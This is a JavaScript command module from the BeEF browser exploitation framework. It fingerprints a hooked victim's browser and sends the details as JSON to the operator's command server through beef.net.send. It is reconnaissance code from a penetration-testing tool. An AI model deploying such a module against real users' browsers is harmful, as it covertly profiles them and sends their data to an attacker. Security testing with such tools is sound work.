Files
beef/modules/browser/detect_details/command.js
2011-05-12 09:24:27 +00:00

68 lines
1.8 KiB
JavaScript

beef.execute(function() {
function serialize(_obj)
{
// Let Gecko browsers do this the easy way
if (typeof _obj.toSource !== 'undefined' && typeof _obj.callee === 'undefined')
{
return _obj.toSource();
}
// Other browsers must do it the hard way
switch (typeof _obj)
{
// numbers, booleans, and functions are trivial:
// just return the object itself since its default .toString()
// gives us exactly what we want
case 'number':
case 'boolean':
case 'function':
return _obj;
break;
// for JSON format, strings need to be wrapped in quotes
case 'string':
return '\'' + _obj + '\'';
break;
case 'object':
var str;
if (_obj.constructor === Array || typeof _obj.callee !== 'undefined')
{
str = '[';
var i, len = _obj.length;
for (i = 0; i < len-1; i++) { str += serialize(_obj[i]) + ','; }
str += serialize(_obj[i]) + ']';
}
else
{
str = '{';
var key;
for (key in _obj) { str += key + ':' + serialize(_obj[key]) + ','; }
str = str.replace(/\,$/, '') + '}';
}
return str;
break;
default:
return 'UNKNOWN';
break;
}
}
var data = beef.browser.type();
// A function that will get trigered during the conversion to JSON that will remove
// elements with "false" value.
function replacer(key, value) {
if (value == true)
return value;
else if (typeof value == 'object') // Allow the array itself to be iterated.
return value;
else // (value == false)
return; // Do not return anything, to exclude the element from being added.
}
beef.net.send('<%= @command_url %>', <%= @command_id %>, JSON.stringify(data,replacer));
});